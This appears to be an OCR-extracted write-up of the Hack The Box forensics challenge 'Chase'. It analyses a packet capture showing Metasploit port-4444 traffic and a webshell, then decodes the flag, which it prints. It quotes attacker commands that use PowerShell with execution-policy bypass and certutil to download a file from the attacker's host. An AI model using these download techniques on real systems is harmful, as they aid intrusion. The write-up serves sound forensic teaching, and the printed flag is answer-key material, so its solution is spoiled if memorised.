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Challenge

% chase [by felamos] [155 solvers] 31 sl Difficulty: || 18/11/2020 A

HTB-Bot

One of our web servers triggered an AV alert, but none of the sysadmins say they were logged onto it. We've taken a network capture
before shutting the server down to take a clone of the disk. Can you take a look at the PCAP and see if anything is up?

‘ *, Download Zip Password: hackthebox sha256: 8bbB62cb6ba2cbf8240cc9756 E aldb3d36fe70db6c11e71956d7:

Process

Name
chase.pcapng
2 Chase.zip
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No. Time Source Destination Protocol  Length Info i
139 111.866843 22.22.22.7 22.22.22.5 TCP 66 [TCP Keep-Alive] 33618 -+ 80 [ACK] Seq=4698 Ack=44
146 111.866899 22,22.22.5 22.22.22.7 TCcp 66 [TCP Keep-Alive ACK] 8@ -+ 33618 [ACK] Seq=4441 Ac
141 120.19@914 22.22.22.7 22.22.22.5 HTTP 996 POST /cmd.aspx HTTP/1.1 (application/x-www-form-
142 120.251685 22.22.22.5 22.22.22.7 TCP 66 49160 -+ 4444 [SYN] Seq=0 Win=8192 Len=8 MSS=1460
143 120.252020 22.22.22.7 22.22.22.5 TCP 66 4444 - 49160 [SYN, ACK] Seq=@ Ack=1 Win=64240 Len
144 120.252054 22.22.22.5 22.22.22.7 TCP 54 49160 - 4444 [ACK] Seq=1 Ack=1 Win=65536 Len=@
145 120.318435 22.22.22.5 22.22.22.7 TCP 187 49160 -+ 4444 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len
146 120.318687 22.22.22.7 22.22.22.5 TCcp 6@ 4444 + 49160 [ACK] Seq=1 Ack=134 Win=64128 Len=@
147 128,394214 22,22,22.5 22,22.22.7 TCP 66 88 + 33618 [ACK] Seg=4441 Ack=5621 Win=66568 Len=
148 123.168610 22.22.22.7 22.22.22.5 TCP 61 4444 -+ 49160 [PSH, ACK] Seq=1 Ack=134 Win=64128 L
149 123.185989 22.22.22.5 22.22.22.7 TP 62 49160 + 4444 [PSH, ACK] Seq=134 Ack=8 Win=65536 L
150 123.186728 22.22.22.7 22.22.22.5 TCP 60 4444 - 49160 [ACK] Seg=8 Ack=142 Win=64128 Len=@
151 123.25@432 22.22.22.5 22.22.22.7 TCP 112 49160 -+ 4444 [PSH, ACK] Seq=142 Ack=8 Win=65536 L
152 123.250739 22.22.22.7 22.22.22.5 Tcp 6@ 4444 » 49160 [ACK] Seq=8 Ack=200 Win=64128 Len=@
153 1308.557134 22,22,22.7 22,22.22.5 TCcP 66 [TCP Keep-Alive] 33618 + 80 [ACK] Seq=5628 Ack=44
154 130.557183 22.22.22.5 22.22.22.7 TCP 66 [TCP Keep-Alive ACK] 86 - 33618 [ACK] Seq=4441 Ac
155 130.875781 54.79.97.159 22.22.22.7 TLSv1.2 85 Application Data
156 130.876243 22.22.22.7 54.706.97.159 TLSv1.2 89 Application Data
157 130.876243 54.78.97.159 22.22.22.7 TCP 60 443 - 48138 [ACK] Seq=32 Ack=36 Win=64248 Len=8
158 14@.795832 22.22.22.7 22.22.22.5 TCP 66 [TCP Keep-Alive] 33618 + 80 [ACK] Seq=5628 Ack=44
159 148.795092 22,22.22.5 22,22.22.7 TCcP 66 [TCP Keep-Alive ACK] 80 -+ 33618 [ACK] Seq=4441 Ac
166 150.201728 22.22.22.7 22.22.22.5 TCP 63 4444 -+ 49160 [PSH, ACK] Seq=8 Ack=200 Win=64128 L
161 150.205497 22.22.22.5 22.22.22.7 TCP 64 49160 + 4444 [PSH, ACK] Seq=200 Ack=17 Win=65536
162 150.205882 PRl PPl T 22.22.22.5 TCP 6@ 4444 - 49160 [ACK] Seq=17 Ack=21@ Win=64128 Len=@
163 150.269424 22.22.22.5 22.22.22.7 TCP 254 49160 - 4444 [PSH, ACK] Seq=210@ Ack=17 Win=65536
164 150.269801 22.22.22.7 22.22.22.5 TCP 60 4444 - 49160 [ACK] Seq=17 Ack=410 Win=64128 Len=@ =

Traffic from port 4444 seems very abnormal, this is the default port for Metasploit
so let’s look into it a bit by following the TCP stream
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M \Wireshark - Follow TCP Stream (tcp.stream eq 3) - chase.pcapng

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami

iis apppool\defaultapppool

c:\windows\system32\inetsrv>ipconfig
ipconfig

Windows IP Configuration

It looks like we found packets from a webshell

Something that caught my eye was this failed download attempt followed by the
execution of certutil to download the same file.

c:\>powershell -ep bypass -c Invoke-WebRequest -Uri http://22.22.22.7/
JBKEE62NIFXF60DMOUZV6NZTMFGVOURQMNMH2IBA. txt -OutFile c:\users\public\file.txt
powershell -ep bypass -c Invoke-WebRequest -Uri http://22.22.22.7/
JBKEE62NIFXF60DMOUZVE6NZTMFGVOURQMNMH2IBA . txt -OutFile c:\users\public\file.txt
The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:18
+ Invoke-WebRequest <<<< -Uri http://22.22.22.7/IBKEE62NIFXF60DMOUZVENZTMFGVEU
RQMNMH2IBA.txt -OutFile c:\users\public\file.txt

+ CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C

ommandNotFoundException

+ FullyQualifiedErrorId : CommandNotFoundException

c:\>certutil -urlcache -split -f http://22.22.22.7/
JBKEE62NIFXF60DMOUZVENZTMFGVBURQMNMH2IBA . txt c:\users\public\
certutil -urlcache -split -f http://22.22.22.7/
JBKEE62NIFXF60DMOUZVENZTMFGVEURQMNMH2IBA . txt c:\users\public)\
HE K& Online HE K&



CertUtil is a legitimate command but can be used by attackers to download
malicious files.

https://docs.microsoft.com/en-us/windows-server/administration/windows-

commands/certutil

https://www.sentinelone.com/blog/malware-living-off-land-with-certutil/

Anyway, back to the challenge.
We see the string JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA

This most likely has some importance so let’s throw it in CyberChef and see what
we get.

It looks like that string is base32 encoded and the decoded string is our flag


https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://www.sentinelone.com/blog/malware-living-off-land-with-certutil/

S I | Input

JBKEEBZNIFXFEODMOUZVENZTMFGVEURQMNMH2ZIBA
From Base32 O n

Alphabet
A-Z2-7=

Remove non-alphabet chars

]
end: 25
length: 25

HTB{MANn_81u3_73alM_ROcX}




